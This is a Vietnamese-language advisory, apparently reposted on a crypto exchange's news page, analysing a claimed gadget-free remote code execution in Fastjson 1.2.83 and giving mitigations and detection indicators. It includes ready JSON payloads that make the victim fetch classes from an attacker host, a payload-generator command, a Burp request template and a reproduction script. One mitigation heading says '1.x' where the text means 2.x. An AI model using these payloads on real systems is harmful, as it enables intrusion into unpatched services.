Phân Tích Sâu và Hướng Dẫn Bảo Vệ cho Lỗ Hổng 'Không Gadget' của Fastjson 1.2.83 (0day)

By: rootdata|2026/07/23 08:41:36

Fastjson 1.2.83 vẫn có thể kích hoạt thực thi mã từ xa mà không cần các gadget truyền thống dưới cài đặt mặc định AutoType=false, và đã được tái hiện thành công trong các môi trường cách ly với JDK 8/17/21/25 + Spring Boot Loader.


Tóm tắt


Trong hệ thống phòng thủ lỗ hổng deserialization Java truyền thống, có những hiểu lầm phổ biến trong ngành: "AutoType là an toàn khi bị vô hiệu hóa theo mặc định," "sửa chữa tham số thứ hai của parseObject (kiểu mục tiêu cấp cao) là an toàn," và "xóa bỏ các phụ thuộc Classpath cục bộ trên các gadget deserialization là an toàn." Tuy nhiên, sự tiến hóa mới nhất của công nghệ trong tấn công và phòng thủ đã hoàn toàn phá vỡ những cảm giác an toàn sai lầm này.


Liên minh An ninh mạng Toàn cầu GCSA hôm nay đã phát hành độc quyền báo cáo cái nhìn kỹ thuật này. Báo cáo đi sâu vào nguyên nhân gốc rễ của việc Fastjson 1.2.83 có thể kích hoạt thực thi mã từ xa (RCE) mà không cần phụ thuộc vào gadget truyền thống, ngay cả khi AutoType được đặt thành false. Hiện tại, kỹ thuật khai thác này đã được tái hiện thành công từ đầu đến cuối trong các môi trường cách ly với JDK 8 / 17 / 21 / 25 và Spring Boot Loader. Lỗ hổng này không phải là một "bỏ qua danh sách đen để tìm gadget cục bộ," mà thực sự biến logic dò tìm siêu dữ liệu lớp của Fastjson thành một kênh để thu thập và ủy quyền các lớp độc hại từ xa. Dưới đây là nội dung chính.


  • Tổ chức phát hành: Liên minh An ninh mạng Toàn cầu GCSA
  • Loại báo cáo: Cái nhìn kỹ thuật độc quyền / Báo cáo phân tích sâu lỗ hổng
  • Ngày báo cáo: 2026-07-21
  • Tình trạng báo cáo: Kiểm toán mã nguồn và tái hiện môi trường cách ly đã hoàn thành
  • ID lỗ hổng: ID nghiên cứu nội bộ FJ-GETRESOURCE-RCE (không tương ứng với bất kỳ CVE nào đã công bố công khai)

Fastjson 1.2.83 vẫn có thể kích hoạt thực thi mã từ xa mà không cần các gadget truyền thống dưới cài đặt mặc định AutoType=false, và đã được tái hiện thành công trong các môi trường cách ly với JDK 8/17/21/25 + Spring Boot Loader. Khuyến nghị ngay lập tức kích hoạt SafeMode và chuyển sang Fastjson 2.x.


  1. Tóm tắt thực thi


ParserConfig.checkAutoType của Fastjson 1.2.83 chuyển đổi các giá trị @type do người dùng kiểm soát thành tên tài nguyên lớp và chuyển chúng cho getResourceAsStream của ClassLoader hiện tại:

String resource = typeName.replace('.', '/') + ".class";

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);


Trong môi trường ClassLoader fat-jar có thể giải quyết tên tài nguyên URL tuyệt đối, một kẻ tấn công có thể khai thác việc thay thế dấu chấm để xây dựng các URL http:, jar:http:, và jar:file: để tải xuống các lớp độc hại với @JSONType từ phía kẻ tấn công. Fastjson phát hiện chú thích này và gọi loadClass, trả về lớp trực tiếp trước khi kiểm tra lớp cơ sở nguy hiểm và kiểm tra tính tương thích kiểu mục tiêu. Lớp này có thể thực thi mã tùy ý khi được khởi tạo và khởi động.


Kỹ thuật khai thác này không phụ thuộc vào các gadget deserialization truyền thống đã có trong classpath mục tiêu và vẫn có thể được kích hoạt dưới trạng thái mặc định của Fastjson AutoType=false. Việc sửa chữa kiểu mục tiêu của JSON.parseObject không ngăn chặn việc thực thi; kích hoạt SafeMode có thể chặn con đường khai thác bình thường trước khi truy cập tài nguyên.


Báo cáo này đã hoàn thành các tái hiện sau đây bằng cách sử dụng cùng một payload JSON trong một container Linux cách ly:



  1. Đánh giá lỗ hổng



Không nên đưa ra một CVSS đồng nhất là 9.8 chỉ dựa trên các phiên bản thành phần: AppClassLoader thông thường đóng vai trò như một kiểm soát tiêu cực, và chuỗi JDK hiện đại cũng phụ thuộc vào các loader có thể giải quyết hai loại URL JAR tuyệt đối và /proc/self/fd. Trong các ứng dụng đáp ứng môi trường phía trước của báo cáo này, hiệu ứng lỗ hổng là RCE mạng không xác thực.


  1. Phạm vi tác động và điều kiện tiên quyết


3.1 Phạm vi đã xác nhận


  • Xác nhận thời gian chạy: Fastjson 1.2.83
  • Xác nhận JDK: 8, 17, 21, 25
  • Xác nhận hệ điều hành: Linux; macOS cũng đã hoàn thành các tái hiện cho JDK 17/21/25 sử dụng /dev/fd
  • Xác nhận Loader: Spring Boot 2.7.18 loader cổ điển + JDK 8; Spring Boot 3.2.0 loader + JDK 17/21/25
  • Xác nhận API: JSON.parse, và JSON.parseObject với các kiểu cấp cao cố định

3.2 Mô tả phạm vi phiên bản


Mô tả bên ngoài của 1.2.68--1.2.83 phù hợp hơn với một phạm vi thử nghiệm đã biết hơn là phiên bản đã giới thiệu lỗ hổng. Xác minh mã nguồn cho thấy rằng mã dò tìm tài nguyên lớp quyết định đã tồn tại từ 1.2.67 và 1.2.68. Báo cáo này chỉ hoàn thành xác minh thời gian chạy toàn bộ chéo JDK cho 1.2.83.


3.3 Điều kiện cần thiết để khai thác


  • Kẻ tấn công có thể kiểm soát đầu vào JSON cho Fastjson, và @type trong đầu vào sẽ được phân tích
  • SafeMode không được kích hoạt
  • ClassLoader tải Fastjson có thể giải quyết tên tài nguyên tuyệt đối được xây dựng dưới dạng URL
  • Quy trình nạn nhân có thể kết nối với dịch vụ HTTP của kẻ tấn công
  • Các chuỗi Linux hiện đại yêu cầu /proc/self/fd phải có thể đọc được, và loader có thể giải quyết jar:file:/proc/self/fd/N!...
  • JDK cần có khả năng tạo bộ nhớ cache JAR từ xa tạm thời bình thường; điều này thường có nghĩa là thư mục tạm thời của JVM có thể ghi được

Kẻ tấn công không cần phải:


  • Ghi tệp vào classpath mục tiêu
  • Có classpath mục tiêu được cài đặt trước với các gadget như TemplatesImpl, JNDI, C3P0, Commons Collections, v.v.
  • Kích hoạt Fastjson AutoType
  • Kiểm soát tham số thứ hai của JSON.parseObject

  1. Phân tích nguyên nhân gốc rễ


4.1 Tên loại người dùng được coi là URL tài nguyên


Vị trí mã nguồn:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498


Mã cốt lõi:

String resource = typeName.replace('.', '/') + ".class";

if (defaultClassLoader != null) {

is = defaultClassLoader.getResourceAsStream(resource);

} else {

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

}


Logic này giả định rằng tài nguyên chỉ là một đường dẫn classpath bình thường, nhưng không hạn chế giao thức của nó, ngữ nghĩa đường dẫn tuyệt đối, hoặc nguồn. Đối với các loader fat-jar cụ thể, đầu vào sau sẽ biến thành một URL tuyệt đối sau khi thay thế:

Tên loại đầu vào: http:..localhost:18081.a


Tên tài nguyên: http://localhost:18081/a.class, do đó getResourceAsStream truy vấn vượt ra ngoài siêu dữ liệu cục bộ để tải tài nguyên mạng do kẻ tấn công kiểm soát.


4.2 Lớp từ xa @JSONType được coi là cơ sở ủy quyền


Fastjson sử dụng ASM ClassReader của riêng nó để phân tích nội dung tài nguyên:

ClassReader classReader = new ClassReader(is, true);

TypeCollector visitor = new TypeCollector("", new Class[0]);

classReader.accept(visitor);

jsonType = visitor.hasJsonType();


Bên tấn công chỉ cần lớp từ xa mang chú thích @JSONType của Fastjson để đặt jsonType thành true. Kiểm tra ở đây dựa trên các byte do kẻ tấn công cung cấp, không phải trên một lớp đã được tải bởi một classpath đáng tin cậy.


4.3 jsonType kích hoạt việc tải lớp thực tế


Vị trí mã nguồn:


ParserConfig.java:1500-1503

TypeUtils.java:1759-1792


if (autoTypeSupport || jsonType || expectClassFlag) {

boolean cacheClass = autoTypeSupport || jsonType;

clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

}


TypeUtils.loadClass cố gắng tải các lớp bằng cách sử dụng loader rõ ràng, loader ngữ cảnh luồng, và Class.forName theo thứ tự. Trong một môi trường phía trước, loader ngữ cảnh luồng sẽ giải quyết cùng một tên tài nguyên tuyệt đối một lần nữa, tải xuống lớp và thực thi defineClass.


4.4 Trả về sớm của @JSONType bỏ qua các kiểm tra bảo mật tiếp theo


Vị trí mã nguồn:


ParserConfig.java:1505-1528

if (clazz != null) {

if (jsonType) {

return clazz; } // Các kiểm tra này được thực hiện sau khi jsonType được trả về.

if (ClassLoader.class.isAssignableFrom(clazz)

|| DataSource.class.isAssignableFrom(clazz)

|| RowSet.class.isAssignableFrom(clazz)) {

throw new JSONException(...); } if (expectClass != null) {

// kiểm tra khả năng tương thích cũng được thực hiện sau.

}

}


Một khi một lớp từ xa mang @JSONType:

  • Các kiểm tra lớp cơ sở nguy hiểm sẽ không được thực hiện
  • expectClass.isAssignableFrom(clazz) sẽ không được thực hiện
  • Các kiểu ràng buộc dữ liệu cố định không thể ngăn chặn việc thực thi trước khi khởi tạo lớp

4.5 Hình thức ngoại lệ/lỗi tạo thành một kênh mềm thất bại


Vị trí mã nguồn:


ParserConfig.java:1537-1542

if (!autoTypeSupport) {

if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {

return null; }

throw new JSONException("autoType không được hỗ trợ. " + typeName); }


Giai đoạn đầu tiên của JDK hiện đại sẽ thất bại khi tải do tên lớp nội bộ không hợp lệ. Bằng cách có tên loại kết thúc bằng Exception, Fastjson sẽ không kết thúc toàn bộ JSON mà sẽ trả về null, cho phép parser tiếp tục xử lý các phần tử liệt kê FD trong mảng. Nhánh này là chìa khóa cho việc thực thi chéo giai đoạn đơn.


4.6 Vị trí của SafeMode


Các kiểm tra SafeMode nằm trước khi truy cập tài nguyên:

ParserConfig.java:1325-1330


Do đó, SafeMode trong đường dẫn mặc định có thể ngăn chặn các yêu cầu mạng. Tuy nhiên, AutoTypeCheckHandler nằm trước SafeMode (ParserConfig.java:1316-1323); nếu một ứng dụng chủ động đăng ký một handler trả về trực tiếp một kiểu, nó cần được kiểm toán riêng, và SafeMode không nên được hiểu như một ranh giới tuyệt đối vượt qua các handler tùy chỉnh.


  1. Giải thích chi tiết về chuỗi khai thác


5.1 JDK 8: Tải lớp từ xa trực tiếp


Hình thức ngắn nhất:

{"@type":"http:..localhost:18081.a"}


Chuỗi chuyển đổi:

tên loại nhị phân: http:..localhost:18081.a

tên tài nguyên URL: http://localhost:18081/a.class

tên lớp nội bộ: http://localhost:18081/a


JDK 8 chấp nhận các tên lớp nội bộ không thông thường ở trên. LaunchedURLClassLoader của Spring Boot 2.7 tải xuống lớp và hoàn thành định nghĩa, khởi tạo và thực thi các lệnh độc hại .

JDK 17+ cũng sẽ hoàn thành các yêu cầu mạng nhưng sẽ từ chối các đoạn đường dẫn trống trong các tên nội bộ,

ClassFormatError: Tên lớp không hợp lệ "http://localhost:18081/a"


Do đó, hình thức ngắn http:.. chỉ hoàn thành RCE trong JDK 8.


5.2 Giai đoạn đầu tiên của JDK hiện đại: Tải xuống JAR từ xa


Phần tử đầu tiên của mảng payload đơn:

{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}


Kết quả chuyển đổi:

tên tài nguyên URL:

jar:http://attacker:18081/x!/foo/Exception.class


Phương thức sun.net.www.protocol.jar.URLJarFile.retrieve của JDK sẽ tạo ra các tệp tạm jar_cache*, sao chép JAR từ xa vào tệp đó.

JDK 17+ sau đó từ chối các tên nội bộ jar:http://... trong giai đoạn đầu tiên, nhưng Fastjson tiếp tục phân tích mảng do hậu tố Exception.


5.3 Giai đoạn thứ hai của JDK hiện đại: Mở lại FD cache


Các phần tử ứng viên tiếp theo:

{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}


Chuỗi chuyển đổi:

tên loại nhị phân:

jar:file:.proc.self.fd.7!.fd7.Exception tên tài nguyên URL:

jar:file:/proc/self/fd/7!/fd7/Exception.class tên lớp nội bộ:

jar:file:/proc/self/fd/7!/fd7/Exception


Khác với http://, mỗi thành phần được phân tách bằng / của tên nội bộ này không trống, do đó được JVM hiện đại chấp nhận. JAR tấn công chuẩn bị một mục cho mỗi FD ứng viên:

fd3/Exception.class

fd4/Exception.class

...

fd64/Exception.class


Các tên nội bộ trong pool hằng số của mỗi lớp chính xác khớp với các kiểu yêu cầu của các FD tương ứng và mang @JSONType. Khi gặp tay cầm cache thực tế, Fastjson tải và khởi tạo lớp, thực thi các lệnh .


Mục đầu tiên trong nhật ký tải lớp của JDK 17 là:

jar:file:.proc.self.fd.7!.fd7.Exception


5.4 Tại sao một payload đơn tương thích với cả JDK 8 và JDK hiện đại


JDK 8 trực tiếp chấp nhận lớp giai đoạn đầu tiên jar:http://... và thực thi


Sau khi thực thi các lệnh trong lớp giai đoạn đầu tiên, nó cố ý ném RuntimeException("stage-one-stop"), ngăn JDK 8 tiếp tục cố gắng các FD socket/pipe không liên quan.

JDK 17+ thất bại do tên không hợp lệ trong giai đoạn đầu tiên trước khi khởi tạo lớp, sau đó trả về mềm thông qua Exception vào giai đoạn liệt kê FD.


  1. Môi trường tái hiện và bằng chứng


6.1 Băm của các thành phần đã thử nghiệm


fastjson-1.2.83.jar

SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar

SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar

SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b


6.2 Tái hiện một lần nhấn


cd

PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh


Kết quả mong đợi:

JDK 8 : RCE-OK

JDK 17: RCE-OK

JDK 21: RCE-OK

JDK 25: RCE-OK


Kịch bản sẽ:


  • Biên dịch JAR fat của nạn nhân;
  • Tạo một JAR tấn công với các lớp cụ thể cho FD;
  • Tạo một payload JSON mảng;
  • Khởi động dịch vụ HTTP của kẻ tấn công trong một mạng Docker cách ly;
  • Khởi động các container nạn nhân cho JDK 8/17/21/25;
  • Kiểm tra /tmp/fastjson-getresource-rce được ánh xạ bởi mỗi container.

6.3 Tạo thủ công JAR tấn công và payload


cd ./target/getresource-repro/build.sh ./target/getresource-repro/build_fd_chain.py \

--host attacker \

--port 18081 \

--fd-root /proc/self/fd \

--min-fd 3 \

--max-fd 64 \

--out-jar target/getresource-repro/www-linux/x \

--out-json target/getresource-repro/fd-payload-linux.json


Các mục đã tạo:

JAR tấn công: target/getresource-repro/www-linux/x

payload JSON: target/getresource-repro/fd-payload-linux.json


--host Nên sử dụng nhãn DNS không có dấu chấm hoặc IPv4 thập phân. Lý do không phải để vượt qua localhost, mà vì Fastjson sẽ thay thế tất cả các dấu chấm trong tên loại bằng /. Ví dụ, IPv42130706433 thập phân tương đương với 127.0.0.1, nhưng sẽ không bị tách bởi các dấu chấm.


6.4 Gửi qua Burp Suite


Burp chỉ chịu trách nhiệm gửi JSON đến giao diện nạn nhân nơi có các điểm phân tích Fastjson; JAR tấn công vẫn cần được cung cấp bởi dịch vụ HTTP của kẻ tấn công.


Mẫu yêu cầu:


POST /parse HTTP/1.1

Host: victim.example

Content-Type: application/json

Connection: close

Content-Length: ... [Đặt toàn bộ nội dung của fd-payload-linux.json ở đây.]


Nếu ứng dụng sử dụng một kiểu cấp cao cố định, mảng có thể được bọc theo cấu trúc trường, ví dụ:

{"value":[/* Tất cả các phần tử trong fd-payload-linux.json */]}


Thí nghiệm này sử dụng JSON.parseObject(json, BoundEnvelope.class) để phân tích bọc trên, và kết quả vẫn là RCE-OK, trả về BoundEnvelope bình thường.


6.5 Kiểm tra ranh giới chính



  1. Các biện pháp khắc phục và khuyến nghị giảm thiểu


7.1 Ưu tiên: Chuyển sang Fastjson 1.x


Ưu tiên chuyển sang Fastjson 2.x được duy trì và xác thực lại tất cả các kiểu đa hình, AutoType và cấu hình chế độ tương thích. Không chỉ thay thế JAR mà không kiểm tra hồi quy.


7.2 Ngay lập tức kích hoạt SafeMode


Cấu hình mã:

ParserConfig.getGlobalInstance().setSafeMode(true);


Tham số JVM:

-Dfastjson.parser.safeMode=true


Lưu ý: Nếu ứng dụng đã đăng ký AutoTypeCheckHandler, nó nên được kiểm toán hoặc xóa đồng bộ, vì handler thực thi trước kiểm tra SafeMode.


7.3 Hạn chế điểm vào deserialization


  • Không trực tiếp chuyển các yêu cầu không đáng tin cậy cho JSON.parse/JSON.parseObject
  • Từ chối bất kỳ hình thức siêu dữ liệu kiểu đặc biệt nào tại cổng hoặc điểm vào ứng dụng
  • Chỉ sửa chữa các kiểu Java cấp cao không đủ để phòng thủ, vì các đối tượng lồng nhau vẫn có thể xử lý @type, và jsonType của lỗ hổng này trả về sớm để bỏ qua các kiểm tra tương thích.

7.4 Quy tắc WAF/Gateway tạm thời


Tạm thời chặn các yêu cầu mà khóa JSON đã giải mã bằng @type, và bao phủ các tham số URL, thân yêu cầu, và các đối tượng lồng nhau. Không chỉ tìm kiếm "@type" văn bản thuần túy; lexer Fastjson sẽ giải mã tên trường trước, ví dụ:

{"\u0040type":"..."}

{"\x40type":"..."}


Các quy tắc WAF chỉ có thể phục vụ như một biện pháp giảm thiểu và không thể thay thế việc nâng cấp thành phần và SafeMode.


7.5 Tăng cường outbound và runtime


  1. Cấm JVM doanh nghiệp khởi tạo kết nối HTTP/HTTPS đến các địa chỉ bên ngoài không cần thiết.
  2. Thực hiện các chính sách mạng tối thiểu cho các container ứng dụng.
  3. Giới hạn sự tiếp xúc của /proc/self/fd hoặc sử dụng các sandbox container nghiêm ngặt hơn khi khả năng tương thích cho phép.
  4. Kiểm toán cách ClassLoader xử lý các tên tài nguyên URL tuyệt đối, từ chối các giao thức như http:, https:, jar:, file:, v.v.
  5. Giám sát các hoạt động jar_cache* bất thường trong thư mục tạm thời của JVM.

  1. Khuyến nghị phát hiện và IOC


8.1 Tính năng phía yêu cầu


Tập trung vào các giá trị @type đã giải mã chứa:

http:..

jar:http:..

jar:file:.proc.self.fd.

jar:file:.dev.fd.

!.fd

Exception


Sự xuất hiện của Exception một mình không đủ để kích hoạt cảnh báo; nó nên được phân tích kết hợp với các hình thức giao thức, @type, và các kết hợp ứng viên FD liên tục trong mảng.


8.2 Tính năng phía mạng


  • JVM yêu cầu JAR không có tên hoặc .class từ các máy chủ bất thường
  • 1-3 yêu cầu GET/HEAD lặp lại xảy ra trong cùng một yêu cầu phân tích
  • Đường dẫn yêu cầu có thể chứa /x, /a.class, hoặc các đường dẫn tương đương do kẻ tấn công tùy chỉnh

8.3 Tính năng phía máy chủ


  • Thư mục tạm thời của JVM tạo jar_cache*
  • Quy trình Java mở lại tệp của chính nó thông qua /proc/self/fd/N
  • Nhật ký tải lớp cho thấy jar:file:.proc.self.fd.7!.fd7.Exception

jar:file:.proc.self.fd.7!.fd7.Exception


  1. Kết luận


Lỗ hổng này không phải là một "bỏ qua danh sách đen và tìm kiếm các gadget cục bộ" mà biến logic dò tìm siêu dữ liệu lớp của Fastjson thành một kênh thu thập và ủy quyền lớp từ xa. Việc trả về sớm của @JSONType cho phép lớp do kẻ tấn công cung cấp được chấp nhận trước khi kiểm tra lớp cơ sở nguy hiểm và kiểm tra ràng buộc kiểu; các kênh mềm thất bại của Exception và bộ nhớ cache tạm thời jar:http: của JDK mở rộng các nguyên tắc tải trực tiếp của JDK 8 đến JDK 17/21/25.


Do đó, các phán đoán phổ biến sau đây là không hợp lệ:

  • "AutoType bị vô hiệu hóa theo mặc định, vì vậy nó an toàn" --- Không hợp lệ
  • "Sửa chữa tham số thứ hai của parseObject, vì vậy nó an toàn" --- Không hợp lệ
  • "Classpath không có gadget đã biết, vì vậy nó an toàn" --- Không hợp lệ
  • "JKD 17+ sẽ từ chối các tên nội bộ với http://, vì vậy nó tối đa chỉ là SSRF" --- Không hợp lệ

Trong các triển khai đáp ứng các điều kiện loader, mạng và mô tả tệp đã xác minh, vấn đề này có thể phát triển từ một yêu cầu JSON không xác thực đơn lẻ thành thực thi mã từ xa thực sự. Ưu tiên nên được đặt vào việc chuyển sang Fastjson 2.x, kích hoạt SafeMode ngay lập tức, và thắt chặt các ranh giới phân tích tài nguyên ClassLoader.


  1. Tài liệu đính kèm và đường dẫn bằng chứng


Nhật ký nghiên cứu đầy đủ: target/FASTJSON_1_2_83_RCE_ANALYSIS.md

Hướng dẫn tái hiện: target/getresource-repro/README.md

Chuỗi ngắn JDK 8: target/getresource-repro/reproduce.sh

Chuỗi đầy đủ Linux JDK 8/17/21/25: target/getresource-repro/reproduce_fd_chain.sh

Trình tạo JAR/payload tấn công: target/getresource-repro/build_fd_chain.py

Payload Linux đã tạo: target/getresource-repro/fd-payload-linux.json

JDK 17 bằng chứng tải lớp: target/getresource-repro/linux-jdk17-classload.log

Giá --

--

Tuyên bố miễn trừ trách nhiệm: Nội dung này chỉ được cung cấp nhằm mục đích xây dựng thương hiệu và cung cấp thông tin chung, không phải là lời khuyên về tài chính, đầu tư, pháp lý hoặc thuế. Mọi sự kiện, phần thưởng, sự kiện trực tuyến hoặc thông tin liên quan được đề cập trong nội dung này không được xem là khuyến nghị, chào mời hoặc lời mời mua, bán, giao dịch hoặc thực hiện bất kỳ hoạt động nào khác liên quan đến tài sản crypto hay sử dụng bất kỳ dịch vụ nào. Tài sản crypto có mức biến động cao và có thể dẫn đến thua lỗ. Dịch vụ và các sự kiện trực tuyến của WEEX có thể không khả dụng tại tất cả khu vực và phải tuân theo các luật, quy định và điều kiện đủ điều kiện hiện hành. Bạn có trách nhiệm bảo đảm việc sử dụng các dịch vụ của WEEX tuân thủ luật pháp địa phương và tự đánh giá cẩn thận các rủi ro trước khi tham gia bất kỳ hoạt động nào liên quan đến crypto.

Bạn cũng có thể thích

iconiconiconiconiconiconicon
Bộ phận CSKH:@weikecs
Hợp tác kinh doanh:@weikecs
Giao dịch Định lượng & MM:[email protected]
Chương trình VIP:[email protected]